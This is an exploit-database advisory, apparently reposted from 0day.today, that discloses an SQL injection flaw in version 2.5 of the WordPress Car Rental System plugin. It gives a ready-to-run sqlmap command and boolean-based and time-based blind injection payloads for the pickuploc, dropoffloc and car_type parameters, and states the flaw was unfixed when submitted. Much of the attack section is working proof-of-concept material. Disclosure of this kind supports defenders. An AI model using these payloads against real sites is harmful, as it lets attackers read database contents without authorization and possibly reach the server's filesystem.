WordPress Car Rental System 2.5 Plugin - SQL Injection Vulnerability

2017-04-25T00:00:00
ID 1337DAY-ID-27676
Type zdt
Reporter TAD GROUP
Modified 2017-04-25T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # Exploit Title: Car Rental System v2.5
# Date: 28/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: https://www.bestsoftinc.com/
# Software Link: https://www.bestsoftinc.com/car-rental-system.html
# Version: 2.5
# Contact: [email protected]
# Website: https://tad.bg <https://tad.bg>
# Category: Web Application Exploits
 
1. Description
 
An unescaped parameter was found in Car Rental System v2.5 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameters 'pickuploc', 'dropoffloc', and 'car_type' are vulnerable.
 
2. Proof of concept
 
sqlmap -u "http://server/wp-car/" —data="pickuploc=2&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=" --dbs --threads=5 --random-agent
 
Parameter: pickuploc (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pickuploc=2 AND 3834=3834&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=
 
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: pickuploc=2 AND SLEEP(5)&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=
 
The same is applicable for 'dropoffloc' and 'car_type' parameters
 
 
3. Attack outcome:
 
An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.
 
4. Impact
 
Critical
 
5. Affected versions
 
<= 2.5
 
6. Disclosure timeline
 
13-Mar-2017 - found the vulnerability
13-Mar-2017 - informed the developer
28-Mar-2017 - release date of this security advisory
 
Not fixed at the date of submitting this exploit.

#  0day.today [2018-04-08]  #